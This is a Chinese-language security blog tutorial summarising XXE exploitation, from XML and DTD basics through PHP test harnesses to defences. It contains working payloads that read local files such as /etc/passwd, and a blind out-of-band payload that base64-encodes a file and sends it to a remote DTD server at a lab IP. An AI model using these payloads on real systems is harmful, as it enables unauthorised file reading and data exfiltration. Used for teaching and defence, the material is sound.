Fork me on GitHub

xxe漏洞利用总结

今天很残酷,明天也一样,后天也许还是一样,但你不得不经过明天后天

最近遇到了关于xxe相关漏洞,于是想做个总结,方便以后查阅。

XML基础

XML文档结构

XML文档结构包括XML声明、DTD文档类型定义(可选,可选是因为类型定义是加强约束,对于漏洞利用来说可以不定义)、文档元素。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!--XML申明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

DTD

文档类型定义(DTD)可定义合法的XML文档构建模块,它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于XML文档中(内部引用),也可作为一个外部引用。

内部声明DTD:
<!DOCTYPE 根元素 [元素声明]>

引用外部DTD:
<!DOCTYPE 根元素 SYSTEM "文件名">

DTD文档中有很多重要的关键字如下:

  • DOCTYPE(DTD的声明)
  • ENTITY(实体的声明)
  • SYSTEM、PUBLIC(外部资源申请)

实体

实体可以理解为变量,其必须在DTD中定义申明,可以在文档中的其他位置引用该变量的值。
实体按类型主要分为以下四种:

  • 内置实体 (Built-in entities)
  • 字符实体 (Character entities)
  • 通用实体 (General entities)
  • 参数实体 (Parameter entities)
    实体根据引用方式,还可分为内部实体与外部实体。
    完整的实体类别可参考 DTD - Entities

实体类别

内部实体:

1
<!ENTITY 实体名称 "实体的值">

外部实体:

1
<!ENTITY 实体名称 SYSTEM "URI">

参数实体:

1
2
3
<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">

参数实体用% 实体名称申明,引用时也用% 实体名称;其余实体直接用实体名称申明,引用时用& 实体名称
参数实体只能在DTD中申明,DTD中引用;其余实体只能在DTD中申明,可在xml文档中引用。

实例演示

内部实体:

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY name "longofo">]>
<foo>
<value>&name;</value>
</foo>

php测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
$xml = '<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY name "longofo">]>
<foo>
<value>&name;</value>
</foo>';
try{
//注意在php新版本中需要加SimpleXMLElement和LIBXML_NOENT才能复现成功。
$doc = simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
var_dump($doc);
echo '<br/>';
echo $doc->vaule;
}
catch(Exception $e){
echo "error";
}
?>

/images/xxe漏洞利用总结1.png

外部实体:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY name SYSTEM "file:///etc/passwd">
]>
<foo>
<value>&name;</value>
</foo>

php测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$xml = '<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY name SYSTEM "file:///C:/Users/dell/Desktop/xxe.txt">
]>
<foo>
<value>&name;</value>
</foo>';
try{
//注意在php新版本中需要加SimpleXMLElement和LIBXML_NOENT才能复现成功。
$doc = simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
var_dump($doc);
echo '<br/>';
echo $doc->value;
}
catch(Exception $e){
echo "error";
}
?>

/images/xxe漏洞利用总结2.png

参数实体:

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "http://127.0.0.1:8088/Desktop/xxe.dtd">
%file;
]>
<foo>
<value>&name;</vaule>
</foo>

xxe.dtd内容:
/images/xxe漏洞利用总结3.png
为了进行测试可以简单使用python启动一个服务器:

1
python -m SimpleHTTPServer 8088

php测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$xml = '<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "http://10.1.8.35:8088/Desktop/xxe.dtd">
%file;
]>
<foo>
<value>&name;</value>
</foo>';
try{
//注意在php新版本中需要加SimpleXMLElement和LIBXML_NOENT才能复现成功。
$doc = simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
var_dump($doc);
echo '<br/>';
echo $doc->value;
}
catch(Exception $e){
echo "error";
}
?>

/images/xxe漏洞利用总结4.png

注意:%name(参数实体)是在DTD中被引用的,而&name(其余实体)是在xml文档中被引用的。

由于xxe漏洞主要是利用了DTD引用外部实体导致的漏洞,那么重点看下能引用哪些类型的外部实体。

外部实体支持的协议类型

外部实体即在DTD中使用

1
<!ENTITY 实体名称 SYSTEM "URI">

语法引用外部的实体,而非内部实体,那么URL中能写哪些类型的外部实体呢?
主要的有file、http、https、ftp等等,不同的程序支持的不一样:

libxml2 PHP JAVA .NET
file file http file
http http https http
ftp ftp ftp https
php file ftp
compress.zlib jar
compress.bzip2 netdoc
data mailto
glob gopher *
phar http

xxe漏洞利用与防范

有回显

利用方式和上面的演示类似

无回显

测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$xml = '<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/Users/dell/Desktop/xxe.txt">
<!ENTITY % dtd SYSTEM "http://10.1.8.35:8088/Desktop/xxe.dtd">
%dtd;
%send;
]>';
try{
$doc = simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
}
catch(Exception $e){
echo "error";
}
?>

xxe.dtd内容:
/images/xxe漏洞利用总结5.png
为了测试成功,可以使用python开启一个http服务器

1
python -m SimpleHTTPServer 8088

服务器请求log:
/images/xxe漏洞利用总结6.png

:xxe的利用姿势以及绕过防御姿势有很多,这里不再一一介绍了

xxe可以用来做什么?

当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

防御XXE攻击

使用开发语言提供的禁用外部实体的方法

PHP:
libxml_disable_entity_loader(true);

其他语言:
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet

过滤用户提交的XML数据

关键词:SYSTEM和PUBLIC等。

参考

-------------本文结束感谢您的阅读-------------

本文标题:xxe漏洞利用总结

文章作者:Longofo

发布时间:2018年11月07日 - 16:11

最后更新:2018年11月17日 - 22:11

原始链接:http://longofo.cc/xxe漏洞利用总结.html

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

请我吃包辣条也好啊!!!
分享到: